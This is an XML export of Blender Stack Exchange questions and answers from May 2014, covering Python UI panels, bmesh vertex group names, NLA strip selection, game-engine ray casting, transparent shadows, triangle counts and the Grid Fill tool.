  <row Id="9233" PostTypeId="1" AcceptedAnswerId="9234" CreationDate="2014-05-07T23:46:36.597" Score="4" ViewCount="99" Body="&lt;p&gt;I'm trying to watch the coordinates of an object as it moves during a simulation, and to this end I want to add a new Panel to the Rigid Body Panel, like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class PHYSICS_PT_rigid_body_worldmatrix(PHYSICS_PT_rigidbody_panel, Panel):&#xA;    bl_label = &quot;Rigid Body Coordinates&quot;&#xA;    bl_default_closed = True&#xA;&#xA;    @classmethod&#xA;    def poll(cls, context):&#xA;        obj = context.object&#xA;        return (obj and obj.rigid_body and&#xA;                obj.rigid_body.type == 'ACTIVE' and&#xA;                (not context.scene.render.use_game_engine))&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;&#xA;        ob = context.object&#xA;        rbo = ob.rigid_body&#xA;&#xA;        row = layout.row()                                                                     &#xA;        row.prop(ob, &quot;matrix_world&quot;, index=12, text=&quot;X&quot;)&#xA;        row.prop(ob, &quot;matrix_world&quot;, index=13, text=&quot;Y&quot;)&#xA;        row.prop(ob, &quot;matrix_world&quot;, index=14, text=&quot;Z&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works if I put the code into &lt;code&gt;startup/bl_ui/properties_physics_rigidbody.py&lt;/code&gt;, but not if I put it into a script file and try to load it.  It can't find &lt;code&gt;PHYSICS_PT_rigidbody_panel&lt;/code&gt;, even if I add this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from bpy.types import PHYSICS_PT_rigidbody_panel, Panel&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas how to access class &lt;code&gt;PHYSICS_PT_rigidbody_panel&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, when I run it by editing the system files, it still has some issues.  It doesn't update in real time during the simulation; I have to move the mouse into the properties window.  I'd also like to see the numbers displayed in scientific notation if they are extremely small.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="3357" OwnerDisplayName="Brent Baccala" LastActivityDate="2014-05-09T14:54:43.017" Title="How do I add a Panel to the Rigid Body Panel?" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9234" PostTypeId="2" ParentId="9233" CreationDate="2014-05-08T08:10:12.940" Score="3" Body="&lt;p&gt;The &lt;code&gt;PHYSICS_PT_rigidbody_panel&lt;/code&gt; class is only present in the properties_physics_rigidbody.py script - it is simply a base class to provide common properties to the other panels in that script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The step you are missing is &lt;code&gt;bpy.utils.register_module()&lt;/code&gt;, with the properties you need for the panel you get the following -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;class PHYSICS_PT_rigid_body_worldmatrix(bpy.types.Panel):&#xA;    bl_label = &quot;Rigid Body Coordinates&quot;&#xA;    bl_space_type = 'PROPERTIES'&#xA;    bl_region_type = 'WINDOW'&#xA;    bl_context = &quot;physics&quot;&#xA;    bl_default_closed = True&#xA;&#xA;    @classmethod&#xA;    def poll(cls, context):&#xA;        obj = context.object&#xA;        return (obj and obj.rigid_body and&#xA;                obj.rigid_body.type == 'ACTIVE' and&#xA;                (not context.scene.render.use_game_engine))&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;&#xA;        ob = context.object&#xA;        rbo = ob.rigid_body&#xA;&#xA;        row = layout.row()                                                                     &#xA;        row.prop(ob, &quot;matrix_world&quot;, index=12, text=&quot;X&quot;)&#xA;        row.prop(ob, &quot;matrix_world&quot;, index=13, text=&quot;Y&quot;)&#xA;        row.prop(ob, &quot;matrix_world&quot;, index=14, text=&quot;Z&quot;)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    bpy.utils.register_module(__name__)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="935" OwnerDisplayName="sambler" LastActivityDate="2014-05-08T08:10:12.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9236" PostTypeId="2" ParentId="9218" CreationDate="2014-05-09T16:13:23.190" Score="7" Body="&lt;p&gt;Your head also inherits roatation from the torso bone. Look at the vertex groups: The head's vertices are members of both groups, 'Head' and 'Torso'. Thus the rotation of the head and the torso bones are combined by a weighted average. The weights of both groups are 1, so this results in equal influence of both bones. The torso-bone does not rotate, so the total rotation is halved.&lt;br&gt;&#xA;Just remove the 'Torso' vertex group from the head and it rotates as intended.&lt;/p&gt;&#xA;" OwnerUserId="3089" LastActivityDate="2014-05-09T16:13:23.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9237" PostTypeId="2" ParentId="9222" CreationDate="2014-05-09T16:47:02.030" Score="2" Body="&lt;p&gt;After some discussion with gandalf3 we found a solution:&lt;br&gt;&#xA;The main problem was that the &lt;code&gt;rayCast&lt;/code&gt; function will cast a ray between the centers of two objects: Those passed as objto and objfrom arguments. Thus the ray's hitpoint always was the position of objto, not the position over which the mouse hovered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But rayCast also accepts 3D points as inputs. The trick is to use a Mouse sensor, set to 'Mouse Over Any', and connect it to the Python Controler which holds the script:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/AWD8k.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the script one can use the rayTarget and raySource properties of the mouse over sensor as inputs for the rayCast funtion. The modified code looks as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from bge import logic, render&#xA;&#xA;render.showMouse(False)&#xA;#from bge&#xA;&#xA;def main():&#xA;    scene = logic.getCurrentScene()&#xA;    cont = logic.getCurrentController()&#xA;    mouse_over = cont.sensors[&quot;mouse_over&quot;]&#xA;&#xA;    if mouse_over.positive:&#xA;        tracker = scene.objects[&quot;mainTarget&quot;]&#xA;        crosshair = scene.objects[&quot;Cross_hair&quot;]&#xA;        floor = scene.objects[&quot;Floor&quot;]&#xA;        object, hitpoint, normal = crosshair.rayCast(mouse_over.rayTarget, mouse_over.raySource, 0.0, &quot;isTrackerFloor&quot;, 0, 1, 0)&#xA;        tracker.worldPosition = hitpoint&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;One further note: The 'Edit Object' actuator which is set to 'Track To' seems to make the affected object point to the target with its local y-axis. Make sure the object with the actuator is rotated correctly in edit mode.&lt;/p&gt;&#xA;" OwnerUserId="3089" LastEditorUserId="3089" LastEditDate="2014-05-09T20:30:42.143" LastActivityDate="2014-05-09T20:30:42.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9238" PostTypeId="1" AcceptedAnswerId="9239" CreationDate="2014-05-09T18:01:55.867" Score="4" ViewCount="1034" Body="&lt;p&gt;When importing an object with my own script (Yes, I need one, no functional script exists) I want to import it with help of the &lt;code&gt;bmesh&lt;/code&gt;-module. It seems to be the best choice for the job as it is as close as you can get to data-only and is kind of standalone (keeps the blender-data clean until everything is ready). There is one problem I am facing now: How do I give names to the vertexGroups? This is what I got so far:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bmesh&#xA;mesh = bmesh.new()&#xA;# add vertices&#xA;layer = mesh.verts.layers.deform.new() # a new deform layer, why is this singleton??&#xA;for vert in mesh.verts:&#xA;    vert[layer][0] = 0.5 # assign a value of 0.5 to the first group&#xA;    # .... more groups&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I suppose you know that Blender handles animation via vertex-groups so I have to make sure that the right vertex-group (index) has the correct name assigned to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I have to name the groups on the object itself? If yes, do I have to create the group beforehands (before mesh.to_mesh(object.data))? Am I guaranteed that the order is kept?&lt;/p&gt;&#xA;" OwnerUserId="2251" LastActivityDate="2014-05-09T19:23:55.757" Title="Manipulate Vertex group names in the bmesh API" Tags="&lt;scripting&gt;&lt;import&gt;&lt;vertex-groups&gt;&lt;bmesh&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9239" PostTypeId="2" ParentId="9238" CreationDate="2014-05-09T19:23:55.757" Score="5" Body="&lt;p&gt;Vertex group names are stored in the object, not the mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The order of groups just has to be aligned between the mesh and the object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So yes, you have to name the group on the object.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-05-09T19:23:55.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9240" PostTypeId="2" ParentId="9228" CreationDate="2014-05-09T21:33:18.163" Score="-2" Body="&lt;p&gt;You should use first a AudioEditor like Audacity to see if your sound's wave is squared, or maybe it coul be that you are using &quot;Constant&quot; intropolation mode.&lt;/p&gt;&#xA;" OwnerUserId="3290" LastActivityDate="2014-05-09T21:33:18.163" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9241" PostTypeId="2" ParentId="414" CreationDate="2014-05-09T22:32:58.273" Score="3" Body="&lt;p&gt;The issue is clearly the one already mentioned in other answer(s): the editmesh becomes invalid when you exit editmode. But there is a &quot;simplification&quot; for your script.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Note: Every variable &lt;code&gt;t_*&lt;/code&gt; will become invalid once you exit editmode&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So here is the simplified script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy, bmesh&#xA;&#xA;obj = bpy.context.object&#xA;me = obj.data&#xA;t_bm = bmesh.from_edit_mesh(me)&#xA;&#xA;t_v1 = t_bm.verts.new((2.0, 2.0, 2.0)) # the created vertex&#xA;t_v2 = t_bm.verts.new((-2.0, 2.0, 2.0))&#xA;t_v3 = t_bm.verts.new((-2.0, -2.0, 2.0))&#xA;&#xA;t_face = t_bm.faces.new([t_v1, t_v2, t_v3]) # .new() always returns the produced (bmesh-)object&#xA;# Saving the vertices/edges/faces for backreference.&#xA;&#xA;# Once you run this command you cannot access the bmesh anymore&#xA;bpy.ops.object.mode_set(mode='OBJECT')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Almost every .new() on any list will return the newly added data.&lt;/p&gt;&#xA;" OwnerUserId="2251" LastEditorUserId="2251" LastEditDate="2014-05-10T22:47:48.137" LastActivityDate="2014-05-10T22:47:48.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9242" PostTypeId="1" CreationDate="2014-05-09T22:36:16.750" Score="2" ViewCount="1136" Body="&lt;p&gt;Is it possible to get the active strips in the &lt;em&gt;NLA Editor&lt;/em&gt; with Python, in order to run a function on them?&lt;/p&gt;&#xA;" OwnerUserId="3428" LastEditorUserId="599" LastEditDate="2014-12-16T19:11:32.663" LastActivityDate="2018-03-01T09:45:28.307" Title="How to get the active strips in the NLA editor from Python?" Tags="&lt;python&gt;&lt;nla-editor&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9243" PostTypeId="2" ParentId="9228" CreationDate="2014-05-09T23:50:44.523" Score="4" Body="&lt;p&gt;The issue was that in setting up the custom property 'Sound'. In the video, the tutor enters '0.0' into the Property Value. I didn't notice the decimal and entered '0', thus switching the property to 'integer' instead of the desired 'float'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I removed the keyframes from the Sound property, edited the Property Value to '0.0', added a keyframe and reimported the sound (bake sound to fcurve).&lt;/p&gt;&#xA;" OwnerUserId="1203" LastEditorUserId="12" LastEditDate="2014-05-10T10:00:54.353" LastActivityDate="2014-05-10T10:00:54.353" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9244" PostTypeId="1" AcceptedAnswerId="9245" CreationDate="2014-05-10T00:02:28.310" Score="2" ViewCount="2387" Body="&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/29073&quot; rel=&quot;nofollow&quot;&gt;Blend file here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have two concentric cubes, both UV-textured, and sharing a material. The outer cube has a texture that is partially transparent. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I render the scene, the inner cube acts as if the outer cube is fully opaque, and no light falls upon it. &#xA;I'd like the outer cube to only cast a shadow for the opaque parts of its texture, rather than all of it.&lt;/p&gt;&#xA;" OwnerUserId="3421" LastEditorUserId="2217" LastEditDate="2014-07-05T21:35:55.300" LastActivityDate="2014-07-05T21:35:55.300" Title="Casting shadows for transparent textured material" Tags="&lt;rendering&gt;&lt;texturing&gt;&lt;blender-internal-render-engine&gt;&lt;transparency&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9245" PostTypeId="2" ParentId="9244" CreationDate="2014-05-10T00:29:11.950" Score="2" Body="&lt;p&gt;The problem seems to be the lighting. Both the ambient occlusion and the environment lighting are ignoring the transparent part of the outer cube, leaving the inner part completely shadowed.&lt;/p&gt;&#xA;&lt;p&gt;To work around this, you could:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Use lamps. Lamps seem to illuminate the inner cube through the transparent texture fine.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use cycles. The transparent part of the texture is lets light from environment lighting and AO as well as lamps through correctly when rendered with a node setup like this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6mtHF.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Bake AO in cycles (this is currently only available in &lt;a href=&quot;https://blender.stackexchange.com/q/3438/599&quot;&gt;development builds&lt;/a&gt;, but it will be in 2.71) and then use it in BI.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Model actual geometry for the outer hat instead of using an alpha texture.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-05-10T00:29:11.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9246" PostTypeId="2" ParentId="9215" CreationDate="2014-05-10T00:32:09.050" Score="2" Body="&lt;p&gt;For a toon shader to keep it's appearance based on camera angle you will want to use a unity shader.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to use blender's toon shader to define a static appearance then you can bake a texture in blender to an image and use an image texture in unity. While baking is most commonly known for creating normal or bump maps you can also bake out entire textures as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bake options are available under the render properties panel and up until 2.70 are only available for the blender render engine. Cycles baking is currently in progress to be included in 2.71&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-05-10T00:32:09.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9247" PostTypeId="2" ParentId="951" CreationDate="2014-05-10T00:50:05.923" Score="2" Body="&lt;p&gt;I struggled with the exact same issue for hours upon hours and discovered the issue was something small and easily overlooked:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the Texture tab, after you have changed the texture type to Voxel, go down to where it says Voxel data. Under here, you will see a field for Domain Object. If it looks like a cube with blank space to the right of it, click the blank space in the field and in the pull down, choose &quot;Cube&quot;. The field should now say Cube, and your preview should show your smoke.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this helps someone.&lt;/p&gt;&#xA;" OwnerUserId="3429" LastEditorUserId="2217" LastEditDate="2014-05-10T01:26:11.367" LastActivityDate="2014-05-10T01:26:11.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9248" PostTypeId="2" ParentId="9242" CreationDate="2014-05-10T01:46:56.273" Score="2" Body="&lt;p&gt;You can get the active NLA track, but the strips array has no property &lt;code&gt;.active&lt;/code&gt; in the Python API. It's not exposed, but the active strip is known in the C code (note that the &#xA;&lt;em&gt;Active Strip&lt;/em&gt; panel is hardcoded).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All you can do with Python is to get all &lt;em&gt;selected&lt;/em&gt; strips:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;try:&#xA;    selected_strips = [strip for strip in bpy.context.object.animation_data.nla_tracks.active.strips if strip.select]&#xA;except AttributeError:&#xA;    selected_strips = []&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-05-10T01:46:56.273" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9249" PostTypeId="1" AcceptedAnswerId="9257" CreationDate="2014-05-10T03:05:05.280" Score="2" ViewCount="1616" Body="&lt;p&gt;I'm following &lt;a href=&quot;http://cgcookie.com/blender/2011/06/02/building-an-audio-visualizer-in-python/&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; tutorial and I'm about 29 minutes in. I'm using the &lt;a href=&quot;http://pornophonique.de/download.php?song_id=2&quot; rel=&quot;nofollow&quot;&gt;.mp3&lt;/a&gt; mentioned in the tutorial. Here's my latest &lt;a href=&quot;https://www.dropbox.com/s/pcp900hezr9c08y/cgCookieVisualiser01001Rev.blend&quot; rel=&quot;nofollow&quot;&gt;.blend&lt;/a&gt;...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My script will create a single cube and switch the window context to GRAPH_EDITOR, but then crashes out with the error, &quot;unsupported audio format&quot;. Error text follows...&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Traceback (most recent call last): File &quot;J:\My&#xA;  Documents\Desktop\Motion Graphics\cgCookieVisualiser01001Rev.blend&#xA;  \Text&quot;, line 34, in  File &quot;E:\Program Files\Blender&#xA;  Foundation\Blender\2.70\scripts\modules\bpy\ops .py&quot;, line 188, in&#xA;  &lt;strong&gt;call&lt;/strong&gt; ret = op_call(self.idname_py(), None, kw) RuntimeError: Error: Unsupported audio format&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Error: Python script fail, look in the console for now...&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It seems strange that the .mp3 wouldn't import via script. Has anybody a suggestion on how I should tackle this?&lt;/p&gt;&#xA;" OwnerUserId="1203" LastEditorUserId="12" LastEditDate="2014-05-10T11:58:39.080" LastActivityDate="2014-08-19T12:16:41.643" Title="Why can I not import an .mp3 file through Python scripting?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;audio&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9250" PostTypeId="1" AcceptedAnswerId="9251" CreationDate="2014-05-10T03:29:52.817" Score="5" ViewCount="4114" Body="&lt;p&gt;I know for a fact I don't have any tris so this thing is wrong, however, I notice that it's the same number as edges. I also find it hard to believe I only have 2 more vertices than I do faces. It takes 4 vertices to make one face and after that 2 for every adjoining face.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uyrTY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3109" LastEditorUserId="12" LastEditDate="2014-05-10T04:15:58.730" LastActivityDate="2020-07-21T11:12:55.050" Title="Why is the view header showing triangle count when my mesh is all quads?" Tags="&lt;modeling&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9251" PostTypeId="2" ParentId="9250" CreationDate="2014-05-10T04:12:29.923" Score="8" Body="&lt;p&gt;Without getting too technical, in &lt;em&gt;3d&lt;/em&gt;, there is no such thing as a true quad. Quads and ngons are mere abstractions to make objects easier to manipulate &lt;em&gt;(imagine modeling a car or face using triangles only)&lt;/em&gt;. At the very core however, every object is comprised of triangles. Blender and other modeling packages abstract these away but they are there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might have seen proof of this if you've ever badly transformed a face for example, if you were to paint all 4 vertices of a plane and move a vertex out of place, you will see evidence that there is supporting geometry somewhere holding that &quot;quad&quot; together. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ObtaC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To test, just add a plane and check the header again, you will see that it shows &lt;em&gt;2&lt;/em&gt; tris, this is accurate because a flat plane in its simplest form is two triangles. If you were to cut it diagonally with say the knife tool, it would still show 2 because now it is still 2 triangles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/horMp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now if you were to create an actual triangle, it would show 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Weh45.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a perfect sphere without any actual triangles, say a cube morphed into a sphere (by subdividing and using &lt;em&gt;To Sphere&lt;/em&gt; &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt;), the amount of triangles will always be twice that of faces, because remember, by default a quad is 2 triangles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This might not be the case for edges however, that count depends on how uniform your object is, toplogy etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FFE8u.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2014-05-10T11:57:12.310" LastActivityDate="2014-05-10T11:57:12.310" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9252" PostTypeId="1" AcceptedAnswerId="9253" CreationDate="2014-05-10T04:56:56.753" Score="11" ViewCount="7095" Body="&lt;p&gt;I tried crating faces but it left missing edges. In the end I was left with all the right lines but there was no vertex in the center.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LsXmQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a follow up image in case you're wondering what I mean. Notice how there's no vertex in the center.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FVbdV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3109" LastEditorUserId="12" LastEditDate="2014-05-10T06:06:32.947" LastActivityDate="2019-01-01T19:04:54.187" Title="How to fill a rectangular hole with an even amount of vertices on either side?" Tags="&lt;modeling&gt;&lt;mesh&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9253" PostTypeId="2" ParentId="9252" CreationDate="2014-05-10T05:44:17.957" Score="13" Body="&lt;p&gt;If both sides have the same number of vertices, you can quickly do this by using the &lt;em&gt;Grid Fill&lt;/em&gt; tool (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;F&lt;/kbd&gt; &lt;em&gt;&gt; Grid Fill&lt;/em&gt;) and tweaking the operator settings. A Span and Offset of 2 should do the trick.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wnGuA.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastActivityDate="2014-05-10T05:44:17.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9254" PostTypeId="2" ParentId="9252" CreationDate="2014-05-10T07:27:44.537" Score="11" Body="&lt;p&gt;It is recommended to use &lt;strong&gt;Grid Fill&lt;/strong&gt; tool (&lt;em&gt;Mesh &gt; Faces &gt; Grid Fill&lt;/em&gt;). I would like to give some further tips for it:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The initial connection pattern depends on the active vertex. In this case, you can avoid additional tweakings on &lt;em&gt;Span&lt;/em&gt; and &lt;em&gt;Offset&lt;/em&gt; by simly keep the &quot;corner&quot; vertex active before filling. See comparison below:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;With &lt;strong&gt;non-corner&lt;/strong&gt; vertex active:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eyvtb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With &lt;strong&gt;corner vertex&lt;/strong&gt; active:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/l9WTF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You can also just select a pair of connected vertices of opposite side, then fill, which can also provide a one-stop result.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9Tvme.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;All in all, the easiest way to this is: In &lt;strong&gt;Edge Select&lt;/strong&gt; mode, &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;RMB&lt;/kbd&gt; on any border edge, which will select the complete loop, then operate Grid Fill, which can well handle it at most time (especially for regular holes like this) regardless the active element concern.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LhV5d.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastActivityDate="2014-05-10T07:27:44.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9255" PostTypeId="1" CreationDate="2014-05-10T08:26:29.487" Score="3" ViewCount="1157" Body="&lt;p&gt;I'm not sure if this is new to 2.7 or not, but I can't seem to figure out how to make my cursor display as the width of the paint brush when I'm in texture paint mode.  I can muddle through all right- I mean, &lt;em&gt;it technically works&lt;/em&gt;- but since the cursor is alwyas a pointer arrow, figuring out exactly what's going to be painted and where is kind of a crapshoot until I press the mouse button.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know from tutorials that isn't how it ought to be, but can't for the life of me figure out what preference or setting might be flipped.  (NB: I'm brand new to Blender with this release, so following tutorials and trying to discern the weird bits that are me-fucking-up versus what's simply different in the new release is rough...)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice would be very much appreciated!&lt;/p&gt;&#xA;" OwnerUserId="3431" LastActivityDate="2014-05-10T11:04:25.013" Title="How do I turn on brush diameter display in texture paint mode?" Tags="&lt;texture-painting&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9256" PostTypeId="2" ParentId="9250" CreationDate="2014-05-10T08:38:44.937" Score="3" Body="&lt;p&gt;About the relation between vertex, edge and face counts:&#xA;For a simple closed surface, essentially a &amp;quot;deformed&amp;quot; sphere as in your example, but without handles, such as (the surface of) a donut, we have the Euler formula:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;em&gt;vertices&lt;/em&gt; + &lt;em&gt;faces&lt;/em&gt; = &lt;em&gt;edges&lt;/em&gt; + 2&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Additionally, in your example we have &lt;em&gt;essentially&lt;/em&gt; as many vertices as faces. Just associate each face with its top left vertex, this will pair off most faces and most vertices successfully. Only in a few weird places you will have some vertices left out or being the top left of two faces (or it is unclear where top left is meant to be).&#xA;But if &lt;em&gt;vertices&lt;/em&gt; are approximately the same as &lt;em&gt;faces&lt;/em&gt;, then by Euler's equation, &lt;em&gt;edges&lt;/em&gt; are approximately twice as numerous as either of them.&#xA;Now if we subdivide all your faces into triangles, we have &lt;em&gt;triangle&lt;/em&gt; = 2 &lt;em&gt;faces&lt;/em&gt; because all your faces are in fact quadrangles. Consequently &lt;em&gt;triangles&lt;/em&gt; are approximately the same as &lt;em&gt;edges&lt;/em&gt; .&lt;/p&gt;&#xA;" OwnerUserId="573" LastEditorUserId="168" LastEditDate="2020-07-21T11:12:55.050" LastActivityDate="2020-07-21T11:12:55.050" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
